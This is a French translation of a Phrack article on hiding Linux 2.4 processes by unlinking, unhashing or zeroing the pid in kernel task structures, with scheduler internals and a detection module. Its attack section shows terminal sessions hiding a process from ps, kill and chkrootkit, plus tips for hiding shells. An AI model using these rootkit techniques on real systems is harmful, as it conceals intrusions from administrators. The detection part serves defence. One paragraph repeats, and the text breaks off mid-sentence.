==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14
|=-----------------------=[ cacher les processus ]=----------------------=|
|=---------=[ ( comprendre le gestionnaire de tâche de linux ) ]=--------=|
|=-----------------------------------------------------------------------=|
|=-------------=[ Par ubra du groupe PHI, 17 Octobre 2004 ]=-------------=|
|=-----=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=----=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|
--[ Sommaire
1 - looking back
2 - the schedule(r) inside
3 - abusing the silence ( attacking )
4 - can you scream ? ( countering )
5 - references
6 - and the game dont stop..
7 - sources
--[ 1 - looking back
Nous commencons notre voyage il y a bien longtemps, quand donner un
nom bizarre à un processus était suffisent pour le cacher dans l'arbre.
Malheureusement, c'est encore assez efficace de nos jours du au manque de
compétence des admins sur le marché. Dans le dernier milénium ... en
fait, juste avant 1999, backdoorer les binaires était très populaire (ps,
top, pstree et autres [1]) mais c'était très facile à apercevoir, un
facile `ls -l` / bien que certein ne puisse l'être qu'en récupérant une
combinaison de taille et de checksum / (je parle en considérant les
admins compétents, parce que, de mon point de vue, un admin qui n'est pas
un peu hacker est juste le type qui éponge le clavier). Et c'ést un
casse-couille question compatibilité.
Le LRK (linux root kit) [2] est un bon exemple d'un kit "binaire". Il
n'y a pas si longtemps, les hackers ont commencé à se tourner vers le
noyau pour faire leur trucs ou pour le sécuriser. Donc, comme partour,
c'était un processus incrémental, commencant par les niveaux les plus
haut et ensuite de plus en plus vers l'intérieur des structures du noyau.
L'endroit évident où regarder d'abord était les appels systèmes, le point
d'entrée depuis le monde utilisateur vers le monde merveilleux, et donc
les méthodes de détournement développées, le faisant en altérant la
sys_call_table[] (il y a un article sur LKM_HACKING de pragmatic de THC à
ce propos [3]), ou en placant un saut dans le corps de la fonction vers
notre propre code (développée par Silvio Cesare [4]) ou encore en les
attrapant au niveau des interruptions (un peu de lecture sur le sujet
dans [5]) ... et avec ceci, on peut intercepter certains appels systèmes
intéressants.
Mais les syscalls [NDT : system calls - appels systèmes] ne sont pas
les derniers (premiers) points où la structure pid est assemblée.
getdents() et Co. ne font qu'appeler d'autres fonctions, et ils le font
avec les moyens d'un autre niveau, à traver ce qu'on appelle VFS. Hacker
ce VFS (niveau du "Virtual FileSystem") est la nouvelle voie des kits
actuels; et puisque tous les unixes sont essentiellement composés des
mêmes couches logiques, c'est (c'était) très portable. Donc, comme vous
le voyez, nous construisons à partir des hauts niveaux, en parlant de
programmation, vers les bas niveaux; en backdoorant simplement les
sources de nos ennuis en allant encore plus près de la racine, vers les
syscalls (et les fonctions qui sont les "aides des syscalls"). Le VFS
n'est pas tout à fait aussi bas qu'on puisse aller (héhé, nous, les
hackers, aimons nous rouler dans la boue du noyau). Nous devons encore
explorer la dernière frontière (honnètement parlant, toute nouvelle
frontière est la dernière). Wep, les vraies structures qui aident à créer
la liste des pids - la task_structs. Et c'est là que notre voyage commence.
Quelques notes ... Les études du noyau sont de la branche 2.4 (2.4.18
pour les extraits du source et 2.4.30 pour les patches et les exemples de
code), il y a quelques codes spécifiques au x86 (désolé, je n'ai pas
accès à d'autres architectures), SMP n'est pas discuté pour les mêmes
raisons et de toutes façons, les différences ave les machines UP
devraient être claires à la fin.
/*
Il semble que les méthodes que j'explique ici commencent à émerger en
partie dans l'underground ouvert dans le zero rk fait par stealth de la
team teso, il y a un article là dessus dans le phrack 61 [6], j'ai juste
failli oublier le petit REMOVE_LINKS qui était là tout innocement :-)
*/
--[ 2 - à l'intérieur du gestionnaire
Comme les processus donnent naissance à d'autres processus (juste
comme dans la vie réelle), ils appellent les syscalls execve() ou fork()
pour soit être remplacés ou être divisé en deux différents processus, peu
de choses ont lieu. Nous allons regarder le fork car il est plus
intéressant de notre point de vue.
$ grep -rn sys_fork src/linux/
Pour les architectures i386 qui est celle que j'ai, vous allez voire
sans introduction que cette fonction appelle do_fork() où le travail
dépendant de l'architecture est fait. C'est dans kernel/fork.c.
asmlinkage int sys_fork(struct pt_regs regs)
{
return do_fork(SIGCHLD, regs.esp, ®s, 0);
}
À part des grandes choses qui ne sont pas couvertes ici, do_fork()
alloue de la mémoire pour un nouveau task_struct
int do_fork(unsigned long clone_flags, unsigned long stack_start,
struct pt_regs *regs, unsigned long stack_size)
{
.......
struct task_struct *p;
.......
p = alloc_task_struct();
et fait quelques bidouille dessus comme initialiser la run_list,
INIT_LIST_HEAD(&p->run_list);
qui est essentiellement un pointeur (vous devriez lire un peu sur la
l'implémentation de la liste chainée de linux pour la saisir clairement
[7]) qui va être utilisée dans une liste chainée de tous les processus
attendant pour le cpu et ceux expirés (qui n'ont plus le cpu, sans
l'avoir relaché expressément du point de vue de schedule()), utilisé dans
la fonction schedule().
Le tableau de priorité courant de la file de tâche où nous sommes
p->array = NULL;
(bien, nous sommes dans aucune); le tableau de priorité et la file
d'exécution sont utilisés dans la fonction schedule() pour organiser les
tâches qui fonctionnent et ont besoin d'être exécutée.
typedef struct runqueue runqueue_t;
struct prio_array {
int nr_active;
spinlock_t *lock;
runqueue_t *rq;
unsigned long bitmap[BITMAP_SIZE];
list_t queue[MAX_PRIO];
};
/*
* This is the main, per-CPU runqueue data structure.
*
* Locking rule: those places that want to lock multiple runqueues
* (such as the load balancing or the process migration code), lock
* acquire operations must be ordered by ascending &runqueue.
*/
struct runqueue {
spinlock_t lock;
unsigned long nr_running, nr_switches, expired_timestamp;
task_t *curr, *idle;
prio_array_t *active, *expired, arrays[2];
int prev_nr_running[NR_CPUS];
} ____cacheline_aligned;
static struct runqueue runqueues[NR_CPUS] __cacheline_aligned;
Nous en reparlerons plus dans la suite.
Le temps cpu que ce fils va recevoir; la moitié du temps du parent va
au fils (le temps cpu est le temps pendant lequel la tâche va avoir droit
au processeur).
p->time_slice = (current->time_slice + 1) >> 1;
current->time_slice >>= 1;
if (!current->time_slice) {
/*
* This case is rare, it happens when the parent has only
* a single jiffy left from its timeslice. Taking the
* runqueue lock is not a problem.
*/
current->time_slice = 1;
scheduler_tick(0,0);
}
(pour les néophites, ">> 1" est le même que "/ 2)
Ensuite, nous obtenons le verroux de la tasklist pour écrire et
placer le nouveau processus dans la liste chainée et la liste pidhash
write_lock_irq(&tasklist_lock);
.......
SET_LINKS(p);
hash_pid(p);
nr_threads++;
write_unlock_irq(&tasklist_lock);
et relachons le verroux. include/linux/sched.h contient cette macro et
les fonctions inline, et la structure task_struct aussi :
struct task_struct {
.......
task_t *next_task, *prev_task;
.......
task_t *pidhash_next;
task_t **pidhash_pprev;
#define PIDHASH_SZ (4096 >> 2)
extern task_t *pidhash[PIDHASH_SZ];
#define pid_hashfn(x) ((((x) >> 8) ^ (x)) & (PIDHASH_SZ - 1))
static inline void hash_pid(task_t *p)
{
task_t **htable = &pidhash[pid_hashfn(p->pid)];
if((p->pidhash_next = *htable) != NULL)
(*htable)->pidhash_pprev = &p->pidhash_next;
*htable = p;
p->pidhash_pprev = htable;
}
#define SET_LINKS(p) do { \
(p)->next_task = &init_task; \
(p)->prev_task = init_task.prev_task; \
init_task.prev_task->next_task = (p); \
init_task.prev_task = (p); \
(p)->p_ysptr = NULL; \
if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \
(p)->p_osptr->p_ysptr = p; \
(p)->p_pptr->p_cptr = p; \
} while (0)
Donc, pidhash est un tableau de pointeurs vers task_structs qui
renvoie vers le même pid, et sont chainé avec pidhash_next/pidhash_pprev;
cette liste est utilisée par les syscalls qui prennent le pid en
paramtètre, comme kill() ou ptrace(). La liste chainée est utilisée par
le VFS /proc mais pas seulement.
Enfin, la magie :
#define RUN_CHILD_FIRST 1
#if RUN_CHILD_FIRST
wake_up_forked_process(p); /* do this last */
#else
wake_up_process(p); /* do this last */
#endif
C'est une fonction dans kernel/sched.c qui place la task_t (task_t est un
typedef vers la struct task_struct) dans la file d'exécution.
void wake_up_forked_process(task_t * p)
{
.......
p->state = TASK_RUNNING;
.......
activate_task(p, rq);
Regardons les choses via un processus qui, une fois qu'il a récupéré
le cpu, appelle sys_nanosleep() (sleep() n'est qu'une interface) et saute
vers une boucle sans fin, je vais essayer de faire court. Après avoir mis
l'état de la tâche à TAS_INTERRUPTIBLE (pour être sur que nous quittions
la file d'exécution quand schedule() est appelé), sys_nanosleep()
appelle, parmis d'autres fonctions, schedule_timeout() qui nous place
dans une file d'attente avec add_timer() qui garantis que nous soyons
réveillés (que nous revenions vers la file d'exécution) après que le
délait soit expiré et rendu effectivement le cpu en apellant schedule()
(la plupart des syscalls bloquants l'implémente en endormant le processus
jusqu'à ce que la ressource soit disponible).
asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp)
{
.......
current->state = TASK_INTERRUPTIBLE;
expire = schedule_timeout(expire);
signed long schedule_timeout(signed long timeout)
{
struct timer_list timer;
.......
init_timer(&timer);
timer.expires = expire;
timer.data = (unsigned long) current;
timer.function = process_timeout;
add_timer(&timer);
schedule();
Si vous voulez lire plus de choses sur les timers, allez regarder [7].
Ensuite, schedule() nous enlève de la file d'exécution puisque nous
nous sommes déjà arrangé pour y revenir plus tard via les timers.
asmlinkage void schedule(void)
{
.......
deactivate_task(prev, rq);
(souvenez vous que wake_up_forked_process() appelle activate_task() pour
nous placer dans la file d'exécution active). S'il n'y a pas de tâche
dans la file active, il essaye d'en récupérer un dans la le tableau des
expirés comme il en a besoin pour installer une nouvelle tâche à exécuter.
if (unlikely(!array->nr_active)) {
/*
* Switch the active and expired arrays.
*/
.......
Ensuite, trouve le premier processus et le prépare pour switcher (s'il
n'en trouve aucun, il laisse simplement la tâche courante fonctionner).
context_switch(prev, next);
C'est une fonction inline qui prépare pour le switch qui sera effectué
dans __switch_to() (switch_yo est juste une autre fonction inline)
static inline void context_switch(task_t *prev, task_t *next)
#define prepare_to_switch() do { } while(0)
#define switch_to(prev,next,last) do { \
asm volatile("pushl %%esi\n\t" \
"pushl %%edi\n\t" \
"pushl %%ebp\n\t" \
"movl %%esp,%0\n\t" /* save ESP */ \
"movl %3,%%esp\n\t" /* restore ESP */ \
"movl $1f,%1\n\t" /* save EIP */ \
"pushl %4\n\t" /* restore EIP */ \
"jmp __switch_to\n" \
"1:\t" \
"popl %%ebp\n\t" \
"popl %%edi\n\t" \
"popl %%esi\n\t" \
:"=m" (prev->thread.esp),"=m" (prev->thread.eip), \
"=b" (last) \
:"m" (next->thread.esp),"m" (next->thread.eip), \
"a" (prev), "d" (next), \
"b" (prev)); \
} while (0)
Notez le "jmp __switch_to" dans tout ce code assembleur qui arrange
simplement les paramètres sur la pile.
void __switch_to(struct task_struct *prev_p, struct task_struct *next_p)
{
context_swith() et switch_to() font ce qu'on connait comme "changement de
contexte" [NDT : context switch] (d'où leur nom) qui, en peu de mots,
donne le contrôle du processeur et de la mémoire à un autre processus.
Passons à autre chose ; que se passe-t-il quand nous sautons dans la
boucle sans fin ? Bien, ce n'est pas vraiment une boucle sans fin, si
c'était vraiment le cas, votre ordinateur ne ferait qu'attendre. Ce qu'il se
passe vraiment, c'est que votre tâche se voit retirer le contrôle du cpu
à chaque tour de boucle et le retrouve après qu'une autre tâche ai eu le
temps de l'utiliser (il y a des méchanismes de file d'attente qui
permettent aux tâches de partager le cpu en fonction de leur priorité, si
notre tâche avait une priorité de temps réel, elle devrait relacher le
cpu manuellement par sched_yeld()). Donc, comment est-ce fait exactement;
parlons un peu de l'intterruption du timer car ils sont étroitement liés.
Passons à autre chose ; que se passe-t-il quand nous sautons dans la
boucle sans fin ? Bien, ce n'est pas vraiment une boucle sans fin, si
c'était vraiment le cas, votre ordinateur ne ferait que passer son temps
à ça. Ce qu'il se passe vraiment, c'est que votre tâche se voit retirer
le contrôle du cpu régulièrement et le retrouve après qu'une autre tâche
ai eu le temps de l'utiliser (il y a des méchanismes de file d'attente
qui permettent aux tâches de partager le cpu en fonction de leur
priorité, si notre tâche avait une priorité de temps réel, elle devrait
relacher le cpu manuellement par sched_yeld()). Donc, comment est-ce fait
exactement; parlons un peu de l'intterruption du timer car ils sont
étroitement liés.
C'est une fonction comme d'autres dans le noyau linux, et elle est
décrite dans une structure
static struct irqaction irq0 = { timer_interrupt, SA_INTERRUPT, 0,
"timer", NULL, NULL};
and setup in time_init.
void __init time_init(void)
{
.......
#ifdef CONFIG_VISWS
.......
setup_irq(CO_IRQ_TIMER, &irq0);
#else
setup_irq(0, &irq0);
#endif
Après ceci, à chaque click du timer, timer_interrupt() est appellé et à
un certain point, appelle do_timer_interrupt()
static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
{
.......
do_timer_interrupt(irq, NULL, regs);
avec des appels sur do_timer (qu'on découvre ensemble).
static inline void do_timer_interrupt(int irq, void *dev_id,
struct pt_regs *regs)
{
.......
do_timer(regs);
do_timer() fait deux choses, d'abord elle met à jours le temps du
processus courant et ensuite, appelle schedule_tick() qui précède
schedule() en prenant d'abord le processus courant du tableau des actifs
et en le placant dans le tableau des expirés; c'est la place où les
mauvais processus (le sale cochon [NDT : dirty hog] :-) se voient retirer
le cpu.
void do_timer(struct pt_regs *regs)
{
(*(unsigned long *)&jiffies)++;
#ifndef CONFIG_SMP
/* SMP process accounting uses the local APIC timer */
update_process_times(user_mode(regs));
#endif
/*
* Called from the timer interrupt handler to charge one tick to the
* current process. user_tick is 1 if the tick is user time, 0 for system.
*/
void update_process_times(int user_tick)
{
.......
update_one_process(p, user_tick, system, cpu);
scheduler_tick(user_tick, system);
}
/*
* This function gets called by the timer code, with HZ frequency.
* We call it with interrupts disabled.
*/
void scheduler_tick(int user_tick, int system)
{
.......
/* Task might have expired already, but not scheduled off yet */
if (p->array != rq->active) {
p->need_resched = 1;
return;
}
.......
if (!--p->time_slice) {
dequeue_task(p, rq->active);
p->need_resched = 1;
.......
if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) {
.......
enqueue_task(p, rq->expired);
} else
enqueue_task(p, rq->active);
}
Notez le champs "need_resched" de la task struct qui est mis à 1;
maintenant, la tâche ksoftirqd() qui est un thread noyau va récupérer le
processus et appeller schedule().
[root@absinth root]# ps aux | grep ksoftirqd
root 3 0.0 0.0 0 0 ? SWN 11:45 0:00 [ksoftirqd_CPU0]
__init int spawn_ksoftirqd(void)
{
.......
for (cpu = 0; cpu < smp_num_cpus; cpu++) {
if (kernel_thread(ksoftirqd, (void *) (long) cpu,
CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0)
printk("spawn_ksoftirqd() failed for cpu %d\n", cpu);
.......
__initcall(spawn_ksoftirqd);
static int ksoftirqd(void * __bind_cpu)
{
.......
for (;;) {
.......
if (current->need_resched)
schedule();
.......
Et si tout ceci vous semble époustouflant, ne vous en faites pas,
refaite juste ce chemin à travers le source du noyau à partir du début et
essayer de comprendre plus que je ne vous explique ici, personne ne vous
demande de comprendre dès la première fois, un processus si compliqué que
la gestion de tâches de linux... souvenez vous que le gateau se trouve
dans les détails ;-) Vous pouvez lire plus d'informations sur le
gestionnaire de tâches de linux dans [7], [8] et [9].
Chaque cpu a sa propre file d'exécution, donc, appliquez la même logique
aux SMP.
Donc, vous pouvez voir qu'un processus peut être dans un nombre
quelconque de listes en attendant d'être exécuté, et s'il n'est pas dans
la liste chainée de task_struct, nous avons un gros problème pour le
retrouver. La liste chainée et de pidhash NE SONT PAS utilisées par
schedule() pour exécuter notre programme comme on l'a vu, certains
syscalls les utilisent (ptrace, alarm, les timers en général qui
utilisent les signaux et tous les appels qui utilisent le pid - pour la
liste pidhash).
Une autre note pour le lecteur ... tous les exemples de la section
_attaque_ seront des modules anemiques, pas de dev/kmem pou vous car je
ne veux pas que mon travail se retrouve dasn un rootkit de lamer qui ne
contribuera qu'à ruiner le réseau, bien que l'homologue de kmem ait été
développé et testé, et fonctionne pas mal, et aussi, avec des modules,
nous sommes plus portables, et notre but est de présenter des exemples
qui fonctionnent et vous enseignent sans crasher votre noyau; les
sections homologues ne contiendront pas de programmes avec kmem d'activé
simplement par flemme et de pas avoir envie de perdre mon temps avec la
relocation elf (yup pour chainer la liste d'une façon fiable, nous devons
aller dans le noyau avec le code)... Je fournirai un patch noyau pour
ceux qui ne font pas de modules.
Vous devriez savoir que si un module vous renvoie une erreur du style :
"hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg"
quand on l'insère, c'est une fonctionnalité (heh) pour que vous n'ayez
pas à le rmod'er, les modulent font le travail qu'ils sont supposés faire.
--[ 3 - abuser le silence (attquer)
Si vous n'avez pas le QI d'un admin windoz, il devrait être assez
clair pour vous vers où on va aller avec tout ceci. Oh, je suis désolé,
je voulais dire "Amin (TM) Windows (TM)" mais l'insulte reste valable.
Puisque la liste chainée et pidhash ne sont d'aucune utilité au
gestionnaire de tâches, un programme, une tâche en général (et aussi les
thread noyau) peut s'exécuter gentillement sans elles. Donc, nous le
retirons de ces listes avec REMOVE_LINKS/unhash_pid et si vous avez été
un gentil hacker qui a regardé les sources que j'ai donné, vous savez ce
que ces deux fonctions font. Tout ce qui va être génant avec ceci, sont
les méthodes IPC (Inter Process Communication); heh bien, nous sommes
invisibles, pourquoi devrions répondre si quelqu'un demande "il y a
quelqu'un ?" :) cependant, puisque seul la liste chainée est utilisée
dans ps et Co. nous pourions laisser la pidhash tel quelle pour que
kill/ptrace/timers... fonctionnent comme d'habitude. Mais je ne vois pas
pourquoi on en aurait besoin car alors, un simple bruteforce dans
l'espace des pid avec des kill(pid,0) peut vous découvrir... Regardez le
programme pisu que j'ai fait que fait celà avec 76 syscalls en plus de
kill qui aspire les info du pid à partir des deux structures de listes.
Vous voyez le tableau, ok ?
ho.c est un simple module pour cacher une tâche :
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o
[Méthode 1]
Maintenant, voyons ce qu'il se passe quand nous retirons un processus
d'une liste; en commencant par la liste chainée
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid
1129 is 0xc0f44000
Mar 13 22:02:50 absinth kernel: [HP] removing process links
[root@absinth ksched]# ps aux | grep sleep
root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:03:53 absinth kernel: [HP] setting process links
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep
[root@absinth ksched]#
[Méthode 2] (en fait, un ajout avancé à la méthode 1)
Et de une. Maintenant, la liste de hash.
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129
is 0xc0f44000
Mar 13 22:07:04 absinth kernel: [HP] unhashing pid
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:07:18 absinth kernel: [HP] hashing pid
[root@absinth ksched]# kill -9 1129
[root@absinth ksched]#
Donc, une fois retiré de la liste de hash, le processus devient aussi
invulnérable au signaux kill et autres syscalls qui utilisent la liste
hash dans ce sujet. Ceci cache aussi votre tâche vis à vis des méthodes
de découvertes comme kill(pid,0) que chkrootkit [10] utilise.
* Les méthodes 1 et 2 ne sont pas si bonnes pour cacher les shells car la
pluspart ont des contrôles de job intégrés et ça nécessite des
find_task_by_pid() et for_each_task() qui fonctionnent (regardez les
sources de sys_setpgid()), cependant, si vous savez comment le
désactiver, ça marche très bien :P ok, je vais vous donner un truc,
faites que les entées/sorties standart ne soit pas un terminal.
[Méthode 3]
But this is kids stuff; lets abuse the way the function that generates the
pid list for the /proc VFS works.
static int get_pid_list(int index, unsigned int *pids)
{
.......
for_each_task(p) {
.......
if (!pid)
continue;
Avez vous le not ? :-) pourtant c'est facile, il faut juste que notre pid
soit 0 et nous ne seront pas listés (le pid 0 est une race spéciale noyau
et c'est pour ça qu'on est pas listé par ici - en fait, le noyau
lui-même, la première "tâche" et ses enfants clonés comme le swapper); en
plus, vu qu'on chnge le pid, mais sans rehasher sa position dans la liste
de hash, toutes les recherches pour le pid 0 aboutirons au mauvais hash,
et les recherches vers notre ancien pid retrouveront une tâche de pid 0,
et bien, ça ratera à chaque fois. Un effet intéressant d'avoir le pid 0
est qu'on peut utiliser clone() [11] avec un flag de CLONE_PID, engendre
effectivement des enfants cachés aussi; c'est pas un menace ? Le vieux
pid peut être retrouvé via le champ tgid de la task_struct tel que le
fait getpid(), et en plus, cette méthode est si sûre à faire depuis
l'espace utilisateur puisque nous ne nous embetons pas avec des race
condition qui baiseront le pointeur de liste de tâches. Et bien, sûr tant
que votre processus ne termine pas puisque nous n'avont changé que son pid.
asmlinkage long sys_getpid(void)
{
/* This is SMP safe - current->pid doesn't change */
return current->tgid;
}
À Propos si nous ne changeons que le pid vers 0, il n'y aura pas de
danger qu'un autre processus soit assigné le même pid que nous _avions_
puisque dans get_pid(), il y a des vérifications sur le tgid aussi, que
nous avions laissé intouché et que nous utilisons pour restaurer le pid
(allez juste regarder le source de hp.c)
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991
is 0xc30f0000
Mar 16 19:14:07 absinth kernel: [HP] zerofing pid
[root@absinth ksched]# ps aux | grep sleep
root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep
[root@absinth ksched]# kill -9 1991
bash: kill: (1991) - No such process
[root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
[root@absinth ksched]#
Vous voyez comme c'est cool ? Je devrais dire que tout cet article
est sur la manière de mettre à 0 le pid dans la task_struct :-) (et vous
n'avez qu'à peu près deux octets à changer au plus pour cacher un
processus !)
* Votre tâche ne devrait jamais appeller exit quand elle a un pid de 0
sinon, ça va merder avec do_exit qui est appellé par sys_exit.
NORET_TYPE void do_exit(long code)
{
.......
if (!tsk->pid)
panic("Attempted to kill the idle task!");
Donc, si vous cachez votre shell de cette manière, soyez sûr de le
décacher (mettez son pid à une valeur arbitraire) avant que nous ne
fassiez "exit"... ou alors ne me demandez rien et terminez le système en
entier ;-). Dans un environnement corrompus, do_exit pourrait avoir cette
partie particulière écrasée par des nops (l'instruction "no operation" -
un code asm qui ne fait rien du tout).
Vous pouvez utiliser pour le champs de la méthode quand vous insmodez
ho.o, n'importe quelle combinaison des trois bits de flags présentés.
--[ 4 - pouvez-vous crier ? ( contrer )
Devriez-vous crier ? et bien oui. Détecter la première méthode peut
être un jeux de patience ou au mieux, un cache-cache casse couille dans
toutes les listes d'attentes dans le noyau, tout en maintenant un gros
verroux. Mais non, il n'est pas imposible de trouver un processus caché,
même s'il il peut faire tourner un rootkit qui peut enlever le cpu et
faire une recherche binaire dans kmem. Ça peut être fait en brute forcant
certains nombres magiques dans la task_struct dans la zone mémoire qu'on
peut avoir alloué et regarder si elle est valide en testant sa structure
demémoire virtuelle, mais ça peut potentiellement ne pas être fiable
(et... dur).
Trouver une tâche qui est cacher de cette façon est difficile car aucune
autre structure ne contient de liste de tâche pour que nous puissions,
avec une simple recherche, itérer et voir ce qui n'est pas dans la liste
chainée et la pidhach, et s'il y en avait eu une, nous aurions surement
retiré notre tâche de la bas aussi :p. Si vous pensez mainenant que c'est
l'Ultime Kiddie Method, n'espérez pas plus, nous sommes des gens biens,
pour chaque problème, nous publions aussi le remède. Donc, il y a une ...
façon :)... une manière intelligente d'exploiter ce que tous les
processus désirent, le besoin de fonctionner ;-) *sourire diabolique*
Cette méthode peut cependant prendre un moment, si un processus est
bloqué sur un appel comme listen(), puisqu'on ne peut les attraper que
quand ils _fonctionnent_ pendant qu'ils sont _cachés_.
D'autres vérifications pourraient vérifier l'intégriter le la liste
chainée comme l'ordre dansla liste et le time stamps, ou autre chose
(sachant que ptrace() [12] merde avec cet ordre).
Backdoorer switch_to (plus exactement __switch_to, souvenez-vous que
le premier est une macro) est un peut plus bidouillant qu'un module,
cependant, je l'ai fait mais ça ne semble pas très portable donc, à la
place, depuis un module, nous détournons la porte des syscalls,
exploitant donc le *besoin d'appeller* des programmes :-), ce qui est
très facile, et chaque programme, dans le but de fonctionner facilement a
besoin de certains syscalls, ok ?
Mais comme vous le savez, pour pieger schedule() à partir d'un module (ou
depuis kmam d'ailleur) nous trouvons l'adresse de __switch_to(). On peut
le faire de deux manières, soit en faisant un pattern-matching pour des
appels dans schedule() ou remarqons que sys_fork() se trouve juste après
__switch_to() et fait un peut de math. Après, on insère juste un
détournement à la fin de __switch_to() (juste avant que __switch_to
n'exécute notre code dans un environnement non sû - crach- puisque c'est
un environnement partiellement switché).
C'est donc ce que le module fait, le patch noyau, sh.patch utilise le
besoin mentionné d'exécution d'un processus en insérant un appell dans la
fonction schedule() qui a été décrite plus haut et vérifie les structures
vis à vis du processus courant.
Comment gérons nous les _réelles_ tâches au pid 0, que nous ne les
prenions pas pour des coquines ? Souvenez-vous que j'ai dis à propos des
pid 0 qu'ils sont des [special breed], ce sont des thread noyau dans le
fond donc nous pouvons les différencier des processus en mode utilisateur
normaux parce qu'ils n'ont pas de structure de mémoire allouée / pas de
mémoire userland dooh ! / et aucune structure binaire connecté pour ça
(un cas spécial serait quand quelqu'un voudrait cacher sa méchante tâche
comme un thread noyau découpé, mais je pense qu'on pourrait le retrouver
par nom ou par le nombre de thread noyaux actifs si c'est un méchant).
De toutes façons, pour un exemple avec la méthode du "besoin d'appeller"
... Pour celui-ci, nous avons lancé une session bash pour que nous
puissions _le mettre dans la file d'attente_ en y tapant une commande ...
comme je l'ai dit, on ne découvre ces tâches que quand elle font un
syscall.
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/sht.c -o src/sht.o
[root@absinth ksched]# insmod sht.o
[root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
( now we type some command in the hidden bash session to make it run )
[root@absinth root]# tail /var/log/messages
.......
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 task addr
0xc72f0000 syscall 175 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
list / pid is valid )
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 task addr
0xc72f0000 syscall 3 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
list / pid is valid )
[root@absinth ksched]# rmmod sht
Voila [NDT : en français dans le texte]. Ça fonctionne... il regarde
aussi après les déhashés et les tâches au pid 0; le seul problème pour
l'instant est la grosse sortie que je vais trier avec des listes hashées
par l'adresse/pid/processeur/start_time de la tâche pour que nous n'ayons
qu'un warning par processus caché :-/
Pour utiliser le patch noyau au lieu du module, allez à la racine du
source de linux et appliquez-le avec `patch -p0 < sh.patch` (si vous avez
un schéma du genre /usr/src/linux/, allez dans /usr/src/). Le patch est
pour la branche du 2.4.30 (bien qu'il puisse fonctionner avec d'autres
noyaux 2.4; si vous en avez besoin pour d'autres versions du noyau, venez
m'en parler) et il fonctionne juste comme le module puisqu'il détourne
directement dans la fonction schedule() et donc découvre plus tôt les
tâches cachées.
Maintenant, si certains d'entr vous se demande pour l'instant
pourquoi rendre public des recherches tels que celles-ci quand il est
plus probable qu'elles soient abusée, ma réponse est simple, ne soyez pas
un ignorant, si j'ai trouvé la pluspart des choses-ci moi-même, je n'ai
aucune raison de penser que d'autres ne l'ont pas fait et il est plus
probable que ces méthodes sont déjà utilisées, peut être pas si largement
que ça, mais manquant de bons outils pour fouiller la mémoire du noyau,
nous ne saurions jamais si et comment c'est déjà utilisé. Donc, fermez
votre sale gueule les seules personnes pénalisée par ceci sont des
